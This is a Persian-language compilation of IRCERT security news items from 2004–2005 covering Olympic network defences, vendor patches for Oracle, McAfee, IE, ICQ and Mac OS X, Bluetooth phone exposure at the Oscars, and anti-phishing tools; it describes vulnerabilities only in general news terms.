متخصصان می گویند که باید منتظر ویروسی بود که به زودی منتشر خواهد شد و از این bot استفاده خواهد کرد.


﻿ IRCERT - مقابله با ویروسها در المپیک - اخبارها و هشدارها

مقابله با ویروسها در المپیک

22 جولای 2004- 1 مرداد 1383

عملیات تروریستی تنها مشکلی نیست که ذهن متخصصان امنیتی را در المپیک آتن به خود مشغول ساخته است بلکه آنها نگرانی های زیادی نیز درباره ویروسها و کرمهای اینترنتی دارند که می تواند شبکه اطلاعاتی المپیک را مختل کند.

جین شوالیه - قائم مقام اجرایی شرکت فرانسوی Atos Origin که مسئولیت ساخت شبکه های اطلاعاتی را برای المپیک آتن به عهده دارد – در این رابطه می گوید:“ بیشترین دغدغه ما آن است که فردی عمدا یا سهوا یکی از شبکه ها را آلوده کند و خسارتهای جدی به بار آورد. ما نمی خواهیم هیچ گونه مشکل ترافیکی روی شبکه به وجود آید که باعث تاخیر در انتشار نتایج بازیها و یا کندی شبکه به هر طریقی شود.“

Atos که شبکه بازیهای Salt Lake City را در سال 2002 انجام داده است ، ‌قراردادی با کمیته بین المللی المپیک دارد تا شبکه المپیک زمستانی 2006 در ایتالیا و المپیک تابستانی 2008 چین را نیز بسازد.

شوالیه اشاره می کند که در سال 2002 در Saly Lake City نیز امنیت شبکه موضوع مهمی بود اما طی دو سال گذشته اهمیت موضوع افزایش یافته است. شوالیه می افزاید که تیم وی با دقت کار می کنند تا بتوانند تا آخرین دقایق نکات امنیتی را لحاظ کنند و از اطلاعات محرمانه ورزشکاران محافظت کنند. از این رو نگرانی ها درباره محرمانه ماندن اطلاعات جای خود را به نگرانی درباره رشد روزافزون تعداد حملات ویروسها و کرمها داده است. بنابه گزارشهای رسیده از FBI حدود 82 درصد از شرکتهای آمریکایی طی سال 2003 توسط یک ویروس مورد حمله قرار گرفته اند که باعث حدود 200 میلیارد دلار خسارت شده است.

Atos جهت انجام حفاظت لازم ، علاوه بر نصب ضدویروس و سیستم تشخیص نفوذ ( IDS ) تغییرات مهمی نیز در معماری شبکه انجام داده است. مهمترین تغییر، قطع کردن ارتباط شبکه با اینترنت است چون بسیاری از ویروسها از طریق وب و ایمیل وارد شبکه های محلی می شوند. همچنین Atos شبکه های محلی مجازی ( VLAN ) پیچیده تری را ایجاد کرده است و از یک ابزار نظارت بر شبکه ، محصول Network Associates ، استفاده کرده است تا اخطارها بر روی این شبکه های مجزا را دنبال کرده ، ثبت و اولویت بندی کنند. از آنجایی که این شبکه های VLAN کاملا از یکدیگر مجزا هستند، اگر یک مشکل امنیتی در یکی از این شبکه ها به وجود آید ،‌دیگران با خطر روبرو نمی شوند.


﻿ IRCERT - اخبار و هشدارها- AMDمشارکت مایکروسافت و

صفحه اول > اخبار و هشدارها

مایکروسافت و AMD برای افزایش امنیت باهم مشارکت می کنند

۲۵ فوریه – ۶ اسفند

شرکت AMD که رقیب اینتل در ساخت پردازنده ها به شمارمی رود خبر از پیشرفت امنیت کامپیوترها در مرحله طراحی پردازنده داده است. این شرکت اعلام کرده است که در پردازنده های Athlon 64 و Opteron خود برای کامپیوترهای شخصی و سرورها مشخصه ای را گنجانده است که به مقابله با ویروسهای کامپیوتری کمک خواهد کرد. این مشخصه که در سیستم عامل ویندوز XP عملیاتی خواهد شد همزمان با ارائه Service Pack 2 برای ویندوز XP به بازار عرضه خواهد شد.

با افزایش آگاهی کاربران تجاری و خانگی از اهمیت امنیت , شرکتهای تولیدکننده چیپ مانند AMD, اینتل, Transmeta و Via سعی دارند تا امکانات و مشخصات امنیتی بیشتری را به چیپهای خود اضافه کنند. امکانات امنیتی ارائه شده توسط شرکتهای مایکروسافت و AMD نیز به گونه ای طراحی شده اند تا بتوانند امنیت بیشتری را در هنگام مرور وب یا ارسال ایمیل برای کاربران به ارمغان بیاورند. این امکان جدید از مشکلات امنیتی ناشی از سرریز بافر جلوگیری می کند و لذا می تواند با بسیاری از حمله ها مقابله کند.

سرریز بافر باعث می شود سیستم دفاعی کامپیوتر مختل شود و سپس می توان براحتی کدهای خطرناکی را حافظه وارد کرد تا توسط پردازنده اجرا شود. در واقع بسیاری از کرمهای خطرناک اینترنتی که طی سال گذشته منتشر شده اند از همین روش استفاده کرده اند. بنابر تحقیقات انجام شده توسط مایکروسافت و AMD حدود ۵۰ درصد از بسته های امنیتی ارائه شده توسط مایکروسافت طی دو سال گذشته به رفع این عیب اختصاص داشته است.


﻿ IRCERT - نفوذ به تلفن هنرپیشه ها در مراسم اسکار - اخبارها و هشدارها

نفوذ به تلفن هنرپیشه ها در مراسم اسکار

1 مارس 2005 - 11 اسفند 1383

به گزارش شرکت مشاوره امنیتی Flexilis که روز یکشنبه در مراسم اهدای جوایز اسکار یک مطالعه و بررسی انجام داده است، حدود 100 نفر از افرادی که از روی فرش قرمز عبور کردند، تلفنهای همراهی داشتند که امکان نفوذ و برداشت اطلاعات داشت.

روز یکشنبه سه نفر از کارشناسان و متخصصان این شرکت در بین بیش از 1000 نفر مردمی که به تماشای ورود هنرپیشه ها به تئاتر کداک ایستاده بودند، قرار گرفتند. یکی از آنها یک کوله پشتی روی پشت خود قرار داده بود که یک نوت بوک حاوی یک نرم افزار اسکن کننده و یک آنتن قوی در آن کار گذاشته شده بود.

این کارشناسان معتقدند که بین 50 تا 100 نفر از مدعوین مراسم اسکار، از تلفنهای همراه هوشمندی استفاده می کردند که قابل نفوذ بوده و اطلاعات الکترونیکی آنها قابل برداشت بودند. این محققان نمی توانند تخمین دقیقی از تعداد افراد ارائه کنند چون ممکن است بعضی تلفنها دو بار تشخیص داده شده باشند. ضمنا آنها به تلفنها نفوذ نکرده اند و لذا نمی توانند بگویند تلفنهای چه افرادی قابل نفوذ هستند.

متخصصان امنیتی Flexilis می گویند این کار را جهت افزایش آگاهی کاربران انجام داده اند. تلفنهای همراه جدید اطلاعات شخصی بسیاری مانند کلمات عبور، شماره امنیت ملی و اطلاعات کار اعتباری را در خود حفظ می کنند و لذا نفوذ به آنها تهدیدی جدی به شمار می آید. از آنجایی که معمولا مدیران ارشد، سیاستمداران و هنرپیشه ها از اولین افرادی به شمار می آیند که از فناوری های مصرفی جدید استفاده می کنند و هکرها نیز به دستیابی به اطلاعات شخصی آنها علاقه بیشتری دارند، لذا این خطر این گروهها را بیشتر تهدید می کند.

یکی از مدیران Flexilis تاکید می کند که با توجه به امکانات امنیتی گسترده در مراسم اسکار، کسی متوجه فعالیت این گروه نشده است و این امکان برای گروههای خرابکار جهت سرقت اطلاعات وجود داشته است.

Flexilis بر روی فناوری انتقال بی سیم اطلاعات با برد کوتاه که با نام Bluetooth شناخته می شود، ‌تخصص دارد. این فناوری در فواصل کوتاه جایگزین کابل می شود. بسیاری از تلفنهای همراه از این فناوری جهت ارتباط با کامپیوتر و یا هدست خود استفاده می کنند. همچنین از این فناوری در خودروها جهت ارتباط با تلفن همراه و همچنین در کامپیوترها جهت اتصال صفحه کلید و ماوس با کامپیوتر استفاده می شود. Flexilis تمرکز خود را بر روی این فناوری نگذاشته بلکه شیوه استفاده تولیدکنندگان از این فناوری را مورد نقد و بررسی قرار داده است. این شرکت قصد دارد سطح امنیت در دنیای بی سیم را به سطح امنیت در دنیای کابلی و سیمی افزایش دهد.


﻿ IRCERT - مشکل امنیتی چند تریلیون دلاری! - اخبارها و هشدارها

مشکل امنیتی چند تریلیون دلاری!

1 مارس 2005 - 11 اسفند 1383

یک تحلیلگر امنیتی از شرکت Forrester Research امروز اعلام کرد زمانی که کاربران و مشتریان اعتماد خود را به امنیت تراکنشهای آنلاین از دست می دهند، شرکتها از جهات گوناگونی متضرر می شوند که بعضی از آنها برای شرکتها واضح نیست.

معمولا شرکتها متوجه نمی شوند که مشکل امنیتی در یک سایت و یا سرقت اطلاعات مشتری هزینه های ثانویه ای نیز به دنبال دارد. افزایش هزینه بازاریابی برای بهبود وجهه و اعتباری که صدمه خورده است و افزایش تماسهای بخش پشتیبانی مشتریان از جمله این موارد هستند.

طی چند هفته گذشته دو نمونه جدی از نشت اطلاعات در بانک آمریکا و شرکت ChoicePoint مشاهده شد. این تحلیلگر که جاناتان پن نام دارد معتقد است اتفاقاتی از این قبیل باعث می شود مشتریان بیشتر درباره رفتار آنلاین خود احساس خطر کنند.

بنابر مطالعه ای که سال گذشته Forrester در بین خانواده ها انجام داده بود، 92 درصد مصرف کنندگان اعلام کرده بودند که میل ندارند اطلاعات شخصی خود را به صورت آنلاین به اشتراک بگذارند چون خطر آن بیش از منفعت آن است. 61 درصد نیز عدم تمایل خود را به ارائه اطلاعات کارت اعتباری به صورت آنلاین بیان کرده بودند. همچنین در این مطالعه مشخص شده بود که 50 درصد افراد به مؤسسه های مالی اعتماد کافی ندارند و از آن می ترسند که اطلاعات شخصی آنها مورد سوء ‌استفاده قرار گیرد. البته با وجود تمامی این نگرانیها تنها 36 درصد از پاسخگویان از خرید کالا و خدمات به صورت آنلاین منصرف شده اند.

پن معتقد است بانکها و شرکتها باید بکوشند تا اعتماد مردم را جلب کنند و به آنها اطمینان دهند که شناسایی هویت آنها به درستی انجام می شود و کسی نمی تواند خود را به جای آنها معرفی کند. وی می گوید:“ حملات هکرها، سرقت هویت و سایر مشکلات امنیتی آنلاین صدمه ای را به اعتماد مشتریان می زند که در واقع یک مشکل چند تریلیون دلاری است!“


﻿ IRCERT - یک حفره خطرناک در اوراکل - اخبارها و هشدارها

یک حفره خطرناک در اوراکل

10 ژوئن – 21 خرداد

شرکت اوراکل – یکی از مشهورترین سازندگان پایگاه داده ( Database ) – به مشتریان خود هشدار داده است که آخرین نسخه از برنامه تجارت الکترونیکی این شرکت دارای یک مشکل امنیتی است که می تواند سیستم را با خطر مواجه کند.

این شرکت هفته گذشته در یک راهنمایی امنیتی مختصر اما مهم اعلام کرده است که یک حفره نرم افزاری در Oracle 11i E-Business Suite و Oracle Applications 11.0 وجود دارد که به یک هکر اجازه می دهد تا کنترل پایگاه داده پشتیبان برنامه ها را در اختیار بگیرد. در این راهنمایی آمده است :“ از آنجایی که هر کاربری با دسترسی به مرورگر و دانش خاص می تواند از این حفره برای نفوذ استفاده کند لذا میزان خطر بالا است.“ این شرکت جزئیات بیشتری را در اختیار نگذاشته است. همچنین اوراکل یک اصلاحیه برای پوشاندن این حفره ارائه کرده و بر نصب آن اصرار کرده است.

شرکت اطلاعات امنیتی Secunia نیز میزان خطر این حفره را بسیار خطرناک یا highly critical ارزیابی کرده است.

این حفره توسط استفان کوست – یکی از مدیران ارشد فناوری شرکت Integrigy – کشف شده است. در راهنمایی ارائه شده توسط این شرکت به سادگی استفاده از این حفره اشاره شده است و آمده است:“ از آنجایی که حملات را براحتی به شکلی می توان تغییر داد که برنامه های اوراکل تشخیص ندهند و از طرف دیگر حمله می تواند یک درخواست منفرد HTTP باشد ،‌لذا حملات موفق را می توان براحتی به شکلی طراحی نمود که بیشتر سیستم های تشخیص نفوذ را فریب دهند.“

اوایل سال گذشته میلادی ، شرکت Integrigy محصول امنیتی خود با نام AppSentry را برای Oracle's E-Business Suite ارائه کرد. همچنین یک سال پیش این شرکت اطلاعاتی را درباره دو حفره دیگر این محصول اوراکل ارائه کرده بود.


﻿ IRCERT - بازهم مشکل امنیتی در ضدویروسها - اخبارها و هشدارها

بازهم مشکل امنیتی در ضدویروسها

۱۷ مارس ۲۰۰۵ – ۲۷ اسفند ۱۳۸۳

برای پنجمین بار در دو ماه گذشته، محققین امنیتی یک مشکل امنیتی جدی را در یک برنامه ضدویروس پرکاربرد یافته اند.

این حفره کتابخانه ویروسهای ضدویروس McAfee را تحت تاثیر قرار می دهد، کدی که به صورت مشترک بین نرم افزارهای امنیتی مختلف این شرکت مانند GroupShield و VirusScan مورد استفاده قرار می گیرد. یک هکر می تواند از این حفره استفاده کند و باعث شود سیستم قربانی به جای اسکن یک فایل، آن را اجرا کند. این مشکل می تواند در زمان اسکن فایلهای با فرمت LHA بروز کند.

با وجودی که McAfee به تازگی از این مشکل آگاه شده بود طی یک به روز رسانی در ماه نوامبر برای شرکتها و در ماه دسامبر برای مشتریان و مصرف کنندگان عمومی، این حفره را پوشاند. بنابه گفته McAfee تمامی مشتریان فعلی این شرکت اصلاحیه مربوطه را دریافت کردند.

پیش از این چهار مشکل امنیتی در نرم افزارهای ضدویروس Symantec ، F-Secure ، Trend Micro و Computer Associates یافت شده بود.

کاربران نرم افزار ضدویروس McAfee درصورتی در خطر هستند که از طریق اشتراک خود نرم افزار را به روزرسانی نکرده باشند و همچنین آخرین فایل تعریف ویروسها یا DAT را دریافت نکرده باشند.


﻿ IRCERT - اخبار و هشدارها- IE بازهم یک حفره امنیتی دیگر در

بازهم یک حفره امنیتی دیگر در IE

7 جولای 2004 – 17 تیر 1383

یک متخصص علوم کامپیوتر با بررسی آخرین اصلاحیه ارائه شده توسط مایکروسافت اعلام کرده است که این اصلاحیه نواقصی دارد و امکان نفوذ هکذها و اجرای برنامه های خطرناک را برطرف نکرده است.

مایکروسافت در روز 12 تیر اصلاحیه ای را منتشر کرد که در آن سعی شده بود تا یکی از سه حفره موجود در مرورگر که باعث نفوذ می شدند را بپوشاند. اما متخصص مزبور مشکل امنیتی دیگری را کشف کرده که می تواند با همان هدف مورد استفاده قرار گیرد.

وی که یک دانشجوی علوم کامپیوتر در هلند است دراین باره می گوید:“ آنها فقط بخشی از مشکل را حل کرده اند. درحالی که باید این بخش از مشکل را نیز می دیدند.“

این سومین بار در یک ماه است که متخصصان امنیتی درباره مشکلات امنیتی کشف شده در مرورگر مایکروسافت سخن گفته اند. در اوایل ماه ژوئن سایتی یافت شد که با استفاده از دو حفره امنیتی ناشناخته و یک حفره امنیتی اخیرا اصلاح شده ،‌ یک ابزار تبلیغاتی را روی سیستم قربانی نصب می کرد. همچنین هفته گذشته کارشناسان متوجه شدند که یک حفره امنیتی قریمی که در نسخه های گذشته پوشانده شده بود دوباره در نسخ جدید وجود دارد.

مایکروسافت ضمن اعلام پذیرش وجود این مشکل ، قول داده است که اصلاحیه ای را برای آن ارائه خواهد کرد. سخنگوی این شرکت دراین باره گقته است:“ شرکت در نلاش است تا یک سری اصلاحیه های امنیتی را برای IE طی هفته های آینده ارائه کند تا امنیت بیشتری را برای کاربران و مشتریان به ارمغان بیاورد.“

حفره کشف شده یک مشکل امنیتی جدید نیست. پیش از این ، کارشناسان با شناسایی این حفره به آن درجه اهمیت بالایی را اختصاص نداده بودند اما مشخص شده است که با استفاده از این حفره همراه با دو حفره کشف شده در ماه ژوئن می توان به سیستم هایی که IE را اجرا می کنند به راحتی نفوذ کرد. هر سه حفره در توابع کتابخانه ای و مشخصات ActiveX قرار دارند.

بعضی کارشناسان امنیتی با توجه به تعداد زیاد مشکلات امنیتی موجود در IE استفاده از سایر مرورگرها را توصیه می کنند.


﻿ IRCERT - اخبار و هشدارها - Firefox ابزار ضدهویت ربایی

ابزار ضدهویت ربایی Firefox

25 مه 2005 - 4 خرداد 1384

شرکت خدمات اینترنتی Netcraft نسخه ای از نوارابزار خود را برای Firefox منتشر کرد. به گفته این شرکت، ابزار مزبور به کاربران کمک می کند تا در دام حملات هویت ربایی گرفتار نشوند.

نوارابزار Netcraft سایتهای هویت ربایی را که کاربران گزارش کرده اند، بلوکه می کند. نسخه ای از این ابزار از ماه دسامبر سال گذشته میلادی برای مرورگر IE ارائه شده است.Netcraft روی سایت خود اعلام کرده است که از آن زمان بیش از 7 هزار سایت هویت ربا شناسایی و بلوکه شده اند.

هویت ربایی در واقع نوعی حمله است که در آن سعی می شود با فریب کاربر و جلب اعتماد وی، اطلاعات مهم و حساسی مانند کلمه عبور و یا مشخصات کارت اعتباری کسب شود.

ابزار ارائه شده توسط Netcraft علاوه بر بلوکه کردن سایتهای هویت ربا، امکانات دیگری را نیز در اختیار کاربر قرار می دهد تا در هنگام مرور وب مراقبتهای امنیتی را لحاظ کنند. برای مثال در هنگام مرور یک سایت اطلاعاتی مانند شهرت و محبوبیت آن، کشوری که میزبان سایت است و میزان خطر احتمالی آن به کاربر نمایش داده می شود.

این نوارابزار روی تمامی سیستم عاملهایی که Firefox‌ را پشتیبانی می کنند قابل نصب است. برای دریافت آن می توانید به سایت Netcraft سری بزنید.


﻿ IRCERT - اخبار و هشدارها- ICQرفع اشکال امنیتی

رفع اشکال امنیتی ICQ

25 فوریه – 6 اسفند

روز چهارشنبه شرکت AOL اعلام کرد که مشکل امنیتی موجود در ICQ را مرتفع کرده است تا از گسترش بیشتر کرمی که ار روز سه شنبه به کاربران این نرم افزار چت حمله کرده است , جلوگیری کند. بنا به گفته سخنگوی AOL این تغییر بر روی سرور ICQ انجام شده است و لازم نیست کاربران کاری روی نرم افزار خود انجام دهند.

متخصصان این ویروس را که یک کپی از Bizex به شمار می آید , روز سه شنبه تشخیص داده بودند . این کرم اینترنتی برخلاف سایر ویروسها که معمولا از طریق ایمیل منتشر می شوند , استفاده از ابزار چت و پیغام فوری ( Instant Messaging ) را برای انتشار خود برگزیده بود. شرکت Kaspersky اشاره کرده است که تنها کاربرانی که با استفاده از نرم افزار ICQ از شبکه چت آن استفاده می کنند , در خطر هستند و افرادی که مثلا با استفاده از نرم افزار Trillian به کار با شبکه ICQ می پردازند , با مشکلی روبرو نخواهند شد. AOL همچنین اشاره کرده است که تنها کاربران ICQ Pro آلوده شده اند و کاربرانی که از نسخه های دیگر ICQ استفاده می کنند در معرض خطر نیستند.

AOL در حال یافتن راهی برای کمک به کاربرانی است که کامپیوترهایشان آلوده شده است و در حال حاضر با مشکلاتی روبرو هستند.


﻿ IRCERT - اخبار و هشدارها - Appleارتباط با دیگران ، کلید مشکلات امنیتی

ارتباط با دیگران، کلید مشکلات امنیتی Apple

14 خرداد - 3 ژوئن

هنگامی که امنیت سیستم عامل Mac مورد بررسی قرار می گیرد، مشاهده می کنیم که نسبت به ویندوز دارای مشکلات کمتری بوده، اما کارشناسان معتقدند با توجه به مشکلات و حفره های امنیتی جدیدی که اخیرا در این سیستم عامل پیدا شده است، این شرکت باید سیاست سکوت خود را تغییر دهد و به برقراری ارتباط با دیگران در این رابطه بپردازد. همچنین باید برای پوشاندن حفره ها عکس العمل سریعتری از خود نشان دهد.

کاربران بین سیستم عامل می گویند که درحال حاضر الگوی کاری این شرکت سکوت برای چند ماه و سپس ارائه یک اصلاحیه امنیتی است. این کاربران معتقدند که Apple فعالیت خوبی برای پوشش حفره های امنیتی موجود در بخشهای مختلف یونیکس انجام داده اما بهتر است کاربران را از فعالیتهای درحال انجام برای بهبود امنیت مطلع کند. کاربران می گویند که Apple حداقل می تواند به ارتباط با کسانی که مشکلات امنیتی را یافته اند بپردازد .

مبحث ارتباط Apple با صنعت امنیت ماه پیش مطرح شد. در آن زمان دو حفره امنیتی جدید در Mac کشف و اعلام شد که می توانست اختیار سیستم را به دست یک هکر بدهد. یکی از کارشناسانی که این حفره ها را در ماه فوریه یافته و به شرکت Apple اعلام کرده بود، در ماه مه به دلیل عدم دریافت پاسخی از Apple، این مشکلات را در اختیار عموم گذارد.

فیل شیلر، قائم مقام مدیرعامل شرکت Apple، معتقد است که امنیت Mac خوب است و در حال حاضر و پس از کشف اولین مشکل امنیتی جدی آن، Apple در حال بررسی دقیق تر این سیستم عامل است. وی اشاره کر ده است که در ماه فوریه تنها بخش کوچکی از خطر برای این شرکت مشخص شده بود ولی درحال حاضر اهمیت آن به عنوان یک خطر و تهدید بزرگ آشکار شده است.

مطابق روشهای تعریف شده، کارشناسان باید پس از یافتن هر حفره امنیتی، تولیدکننده محصول را مطلع کنند و سپس حداقل 30 روز صبر کنند و سپس به انتشار آن اقدام کنند. اما شیلر می گوید که Apple روش خاص خود را جهت تشخیص زمان مناسب برای انتشار اصلاحیه دارد.

انتقادات دیگری نیز به شیوه ارتباط Apple با کارشناسان و یا کاربران وارد است. برای مثال منتقدین می گویند که این شرکت اطلاعات کافی را روی سایت خود ارائه نمی کند و از طرف دیگر لیمیل خاصی جهت گزارش کردن مشکلات امنیتی یافت شده ندارد. شیلر در پاسخ ایمیل
product-security@apple.com را برای این کار کافی می داند و معتقد است اطلاعات بر روی سایت قرار می گیرند. البته او هم تصدیق می کند که این کار به شیوه بهتری قابل انجام است.

از طرف دیگر و برخلاف مایکروسافت، Apple برای محصولات خود چرخه حیات تعریف نمی کند و مشخص نیست اصلاحیه های امنیتی ارائه شده کدام نسخه ها را پوشش خواهند داد. شیلر می گوید که این تصمیم گیری در Apple به صورت موردی انجام می شود و در هر مورد به روز رسانی نسخه های قدیمی و میزان اهمیت حفره کشف شده مورد بررسی قرار می گیرد.

انتقادات دیگری نیز به شیوه تعامل Apple وارد می شود . البته درست است که Apple تنها سیستم عامل 5 درصد از کامپیوترهای شخصی را در اختیار دارد و به همین دلیل ویروس های کمتری برای حمله به آن نوشته می شود و هکرهای کمتری به فکر نفوذ به آن هستند، اما باید دید که این روش تعامل جوابگوی این 5 درصد کاربر خواهد بود یا خیر.


﻿ IRCERT - اخبار و هشدارها - Mac OS X رفع 15 مشکل امنیتی در

رفع 15 مشکل امنیتی در Mac OS X

7 سپتامبر 2004 – 17 شهریور 1383

شرکت کامپیوتری Apple امروز اصلاحیه ای را ارائه کرد که 15 مشکل امنیتی را در سیستم عامل این شرکت یعنی Mac OS X بپوشاند.

بسیاری از مشکلات در نرم افزار سورس آزاد لایه زیرین سیستم عامل قرار دارند که از آن جمله می توان به مشکل امنیتی در Kerberos اشاره کرد. اصلاحیه برای نسخ Mac OS X 10.3.5 و Mac OS X 10.3.4 ارائه شده است و مشکلات Mac OS X 10.2 که به Jaguar مشهور است را نیز می پوشاند.

از مهمترین مشکلات امنیتی پوشانده شده با این اصلاحیه می توان به حفره ای که می تواند باعث شود که یک هکر بتواند وب سرور Apache 2 را از کار بیاندازد یا متوقف کند اشاره کرد. همچنین یک مشکل امنیتی که اجازه می دهد یک هکر با استفاده از مرورگر Safari نرم افزاری را روی سیستم اجرا کند نیز رفع شده است.

در حالی که معمولا نرم افزارهای سورس آزاد به سرعت به ارائه اصلاحیه می پردازند، Apple همانند مایکروسافت سعی دارد تا با ارائه هر اصلاحیه تعدادی از مشکلات پیدا شده را رفع کند.

ر اهنمایی امنیتی Apple به همراه جزئیات اصلاحیه در سایت این شرکت قابل دسترسی است.


﻿ IRCERT - اخبار و هشدارها - Mac پوشانده شدن حفره امنیتی

حفره امنیتی Mac پوشانده شد

7 ژوئن – 18 خرداد

بالاخره امروز شرکت کامپیوتری Apple یک اصلاحیه امنیتی برای پوشش حفره هایی که اخیرا کشف شده بودند ، ارائه کرد. حدود یک ماه پیش اعلام شد که به علت وجود دو حفره امنیتی در این سیستم عامل ، امکان نفوذ هکرها به آن و در اختیار گرفتن آن وجود دارد. پس از آن طی ماه گذشته Apple یک اصلاحیه امنیتی برای رفع این مشکلات ارائه کرد اما مشخص شد که این اصلاحیه ، حفره ها را پوشش نمی دهد .

چندی پیش مدیران Apple اعلام کردند که اصلاحیه کاملتری را ارائه خواهد کرد. آنها معتقدند که این مهمترین مشکل امنیتی آشکار شده از زمان تولد Mac OS X یعنی حدود 3 سال پیش بوده است.

Apple اعلام کرده است که ایجاد یک alert dialog box بهترین راه برای جلوگیری از حملات خطرناک بدون از کار انداختن یک مشخصه خوب سیستم عامل است . منظور از این مشخصه توانایی باز کردن یک برنامه از طریق لینکی در برنامه دیگر است. برای مثال با استفاده از این امکان یک فرد می تواند از طریق یک لینک در یک صفحه وب ، ایمیلی را مستقیما ارسال کند.

فیل شیلر – قائم مقام مدیرعامل Apple – در این باره می گوید :" ما راه خوبی را برای ایجاد تغییر در هسته سرویس پیدا کرده ایم که خطرات را کاهش می دهد. بنابر اطلاعات ما این تغییر باید خطر را مرتفع کند. "

این اصلاحیه از طریق به روزرسانی این سیستم عامل در اختیار کاربران قرار می گیرد. نصب این اصلاحیه باعث می شود زمانی که یک برنامه که تا به حال اجرا نشده، از طریق اینترنت و یک لینک اجرا شود، به کاربران هشدار داده شود. همچنین Apple سعی کرده است تا با تغییرات دیگری در سیستم عامل Mac OS X و مرورگر Safari از باز شدن برنامه ها و فایلهای ناخواسته جلوگیری کند.

این اصلاحیه برای نسخه های Panther 10.3.4 ،‌ Jaguar 10.2.8 و نسخه های سرور از سیستم عامل Mac OS X ارائه شده است. Apple در حال انجام تحقیقاتی است تا مشخص شود که آیا این حفره ها در نسخ قبلی نیز وجود داشته اند یا خیر.


﻿ IRCERT - اخبار و هشدارها - Apple اصلاحیه های جدید

اصلاحیه های جدید Apple

4 مه 2005 - 14 اردیبهشت 1384

شرکت کامپیوتری Apple دیروز اعلام کرد که 20 اصلاحیه برای سیستم عامل OS X خود ارائه کرده تا مشکلات امنیتی موجود در این سیستم عامل را بپوشاند.

بنابر راهنمایی امنیتی ارائه شده توسط این شرکت، این حفره ها در سیستمهای عامل Mac OS X v10.3.9 و Mac OS X Server 10.3.9 قرار دارند. این اعلام حدود یک ماه پس از آن صورت می گیرد که Apple حدود 12 اصلاحیه برای سیستم عامل خود منتشر کرد.

راهنمایی امنیتی نیز تنها چند روز پس از انتشار آخرین نسخه سیستم عامل اپل یعنی Mac OS X 10.4 که Tiger نام دارد، ارائه شد. این حفره ها در Tiger پوشش داده شده اند و تنها نسخه قبلی که Panther نام دارد به اصلاحیه های نیاز دارد.

شرکت امنیتی Secunia به حفره های امنیتی یافت شده در سیستم عامل OS X‌درجه خطر highly critical‌ داده است.یکی از مهمترین مشکلات یافت شده ،‌ حفره ای است که در OS X AppKit قرار دارد و با مدیریت فایلهای گرافیکی TIFF‌ارتباط دارد.

یکی از کارشناسان ارشد Secunia می گوید:“ اگر کاربران یک فایل TIFF آلوده را مشاهده کنند، می تواند باعث اجرای کدی دلخواه روی سیستم آنها شود. پیش از این TIFF به عنوان فرمتی امن جهت نمایش شناخته می شد و این نکته کار را پیچیده تر می کند.“

یکی دیگر از حفره های مهم امنیتی مربوط به AppleScript است. اگر کاربران از سایتی بازدید کنند و AppleScript از آن سایت بپذیرند، ممکن است کدی را در حال اجرا ببینند که انتظار آن را نداشته اند.

یکی دیگر از مشکلات یافت شده در وب سرور Apache قرار دارد که امکان ایجاد خطای سرریز بافرا را در برنامه htdigest به وجود می آورد. اما Secunia درجه خطر این مشکل را زیاد نمی داند چون معتقد است به راحتی نمی توان از آن سوء استافده کرد و به پیکربندی خاصی در سیستم نیاز دارد.

دو حفره نیز در تواناییهای بی سیم Bluetooth سیستم عامل کشف شده است. یکی از این حفره ها امکان اشتراک فایل بدون اطلاع کاربر را می دهد و دیگری می تواند مورد سوء استفاده یک هکر قرار گیرد تا به فایلهای خارج از دایرکتوری پیش فرض برای تبادل فایل، ‌دسترسی پیدا کند.

بنابر راهنمایی ارائه شده، یکی دیگر از این مشکلات امنیتی به یک کاربر غیرمجاز، امکان تغییر سطح و امکان دسترسی به دایرکتوری را می دهد.

همچنین اصلاحیه های ارائه شده مشکلاتی را در Finder، Foundation، Help Viewer، LDAP، libXpm، lukemftpd، NetInfo، Server Admin، sudo، Terminal و VPN نیز پوشش می دهد.


﻿ IRCERT - اخبار و هشدارها - Mac OS X اصلاحیه ای برای مشکلات امنیتی

اصلاحیه ای برای مشکلات امنیتی Mac OS X

۲۱ مارس ۲۰۰۵ – ۱ فروردین ۱۳۸۴

شرکت کامپیوتری Apple حدود یک دوجین اصلاحیه برای مشکلات امنیتی یافت شده در سیستم عامل Mac OS ارائه کرده است. یکی از آنها اسکریپتی است که از حمله هویت ربایان جهت فریب کاربران مرورگر Safari جلوگیری می کند.

این اسکریپت که امروز ارايه شد با مشکل هویت ربایی یافت شده در مرورگرها مقابله می کند. این حفره امنیتی به یک هکر اجازه می داد تا از کاراکترهای خاصی در زبانهای مختلف استفاده کند و نشانی های وبی را ایجاد کنند که در ظاهر کاملا درست و قانونی است اما در واقع قربانیان را به دام هویت ربایان راهنمایی می کند. این مشکل امنیتی در تمامی مرورگرهایی که نام های دامنه بین المللی را پشتیبانی می کنند بروز کرده بود.

شرکت Apple طی یک راهنمایی امنیتی به شرح این مشکل پرداخته است:« برای مثال می توان از حرف a در زبان Cyrillic به جای حرف a درزبان لاتین استفاده کرد و بدین شکل کاربر را فریب داد تا نتواند تشخیص دهد که آیا واقعا در سایت www.apple.com قرار دارد و یا سایتی است که شبیه نمونه واقعی طراحی شده است. از این سایتها می توان برای جمع آوری اطلاعاتی مانند شماره حساب و کلمات عبور یا سایر اطلاعات شخصی استفاده کرد.»

Mozilla و Firefox جزو سایر مرورگرهایی بودند که این مشکل را داشتند و اصلاحیه مربوط به آنها در اواخر ماه فوریه ارايه شد. مرورگر IE از نام های دامنه بین المللی پشتیبانی نمی کند و لذا در خطر این حمله قرار نداشت.

اصلاحیه جدید که تعدادی از مشکلات امنیتی موجود در Samba و نرم افزارهای ایمیل و تایید هویت Cyrus و بعضی نرم افزارهای دیگر را برطرف می کند از سایت شرکت Apple قابل دریافت است.


﻿ IRCERT - اخبار و هشدارها - Mac OS X اصلاحیه اپل برای

اصلاحیه اپل برای Mac OS X

25 ژانویه 2005 - 6 بهمن 1383

امروز شرکت Apple یک اصلاحیه را برای پوشش 7 مشکل امنیتی موجود در سیستم عامل Mac OS X ارائه کرد.

این اصلاحیه مشکلات موجود در مرورگر Safari، برنامه Mail و ابزار ColorSync و همچنین چهار برنامه سورس آزاد را برطرف می کند.

Apple همچنین اعلام کرده است که چگونگی نامگذاری راهنمایی های امنیتی و شماره گذاری بولتنهای خود در هر سال را تغییر خواهد داد.

کاربران این سیستم عامل می توانند با استفاده از ابزار به روز رسانی Mac OS X سیستم خود را به روز کنند.


﻿ IRCERT - یک اصلاحیه امنیتی برای مکینتاش - اخبارها و هشدارها

یک اصلاحیه امنیتی برای مکینتاش

2 دسامبر 2004 - 12 آذر 1383

